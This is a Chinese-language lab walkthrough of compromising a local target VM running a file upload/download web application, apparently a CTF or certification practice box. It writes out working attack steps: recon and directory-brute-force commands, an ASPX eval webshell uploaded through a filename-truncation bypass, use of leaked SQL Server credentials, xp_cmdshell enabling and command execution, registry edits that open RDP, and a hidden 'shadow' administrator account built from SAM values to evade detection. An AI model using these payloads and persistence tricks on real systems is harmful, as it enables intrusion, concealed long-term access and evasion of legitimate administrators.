信息收集
kali攻击机:192.168.111.146
靶机:192.168.111.129
环境搭建,网卡都是配置的NAT模式,同一网段下
ip
代码语言:javascript复制nmap -sS 192.168.111.0/24
或者
代码语言:javascript复制netdiscover -i eth0 -r 192.168.111.0/24
端口
代码语言:javascript复制nmap -A -p- -T4 192.168.111.129
1433:sql server的默认端⼝
27689: 访问看看是什么服务的端口
文件上传下载系统,使用burp对用户名和密码进行爆破,没有爆破成功。
目录
基于这个27689端口,进行目录扫描,看是否存在敏感目录
代码语言:javascript复制dirsearch -u http://192.168.111.129:27689
dirb http://192.168.111.129:27689
gobuster dir -u http://192.168.111.129:27689 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,txt,html
我这里使用dirsearch进行扫描
访问:http://192.168.111.129:27689/admin/admin.aspx
访问http://192.168.111.129:27689/Robots.txt
继续访问http://192.168.111.129:27689/web.config.bak
可以看到下载了一个文件,通常.bak⽂件是备份⽂件,查看该备份文件,得到SQL server数据库的名称FileManage,用户名down,密码downsql。
连接数据库
得到用户名admin,密码asdadwn_d2112
利用文件上传功能
登录文件上传下载系统,上传文件发现只允许上传txt,jpg ,黑名单限制比较死
更具提示文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名
思考:只要我们上传的文件名超过32位,通过溢出导致上传木马文件,参考ID55 ,上传文件名为aaaaaaaa.aspx.txt
代码语言:javascript复制文件名:aaaaaaaa.aspx.txt
内容:<%@ Page Language="Jscript"%><%eval(Request.Item["666"],"unsafe");%>
成功上传
查找文件路径,根据报错提示文件路径为../upfile/affix/" fileName
文件路径为:http://192.168.111.129:27689/upfile/affix/638582066907968750-aaaaaaaa.aspx
连接webshell:使用蚁剑进行连接
利用文件下载功能
通过上面一系列的操作,其实可以直观的看到存在任意文件下载漏洞
点击文件名称,下载该文件
这里已经知道文件路径../upfile/affix/" fileName
http://192.168.111.129:27689/upfile/affix/636625082296562500-bbbbbbbb.aspx
查看文件内容,得到连接密码z
使用蚁剑链接webshell
提权
点击右键,执行终端whoami
利用sqlserver 提权
数据库提权的前提条件:
代码语言:javascript复制1、服务器开启数据库服务
2、获取到最高权限用户密码即sa
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
数据库我们已经进行了连接,现在是要获取sa的用户名和密码
在备份文件web.config.bak.2017-12-12找到了sa的用户名和密码
连接sa,数据库名称FileManage,用户名sa 密码cisp-pte@sa
使用xp_cmdshell进行提权
sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中,查看扩展存储过程,如果其中含有sys.xp_cmdshell 说明目标网站没有删除该组件
选择数据库,新建查询,执行命令
代码语言:javascript复制EXEC master.dbo.xp_cmdshell 'whoam'
成功提权
注意:如果执行命令如果报错提示关闭,那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)
代码语言:javascript复制EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
权限维持
这里还可以利用xp_cmdshell开启远程桌面,新建用户,做权限维持
通过注册表开启远程桌面3389端口命令
代码语言:javascript复制reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
xp_cmdshell变形
代码语言:javascript复制EXEC master.dbo.xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
检查端口状态
代码语言:javascript复制EXEC master.dbo.xp_cmdshell 'netstat -an|find "3389"'
添加影子用户,并加入管理员组
代码语言:javascript复制EXEC master.dbo.xp_cmdshell 'net user test$ 123456 /add'
EXEC master.dbo.xp_cmdshell 'net localgroup administrators test$ /add'
win r 输入mstsc,连接远程桌面
输入新建影子账户和密码
影子账户就是在windows中比较隐蔽的用户,一般在后渗透的权限维持阶段会用到。影子账户主要是利用在权限维持上,通过先建立带$符号的账户,然后利用注册表修改里面的值,使得管理员无法通过cmd及计算机管理等地方查看攻击者所创建的账户,从而实现权限维持。
成功登录
打开cmd 输入regedit,找到HKEY_LOCAL_MACHINESAMSAM,修改SAM权限,赋予adminitrators完全控制权限,重启之后找到test$账户
找到administrator用户的F值数据
将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值
所对应项000003F4导出,分别命名为test.reg和1.reg
删除test$用户,将test.reg和1.reg导入注册表
代码语言:javascript复制net user test$ /del
regedit /s test.reg
regedit /s 1.reg
此时在用户组已经看不到test$用户。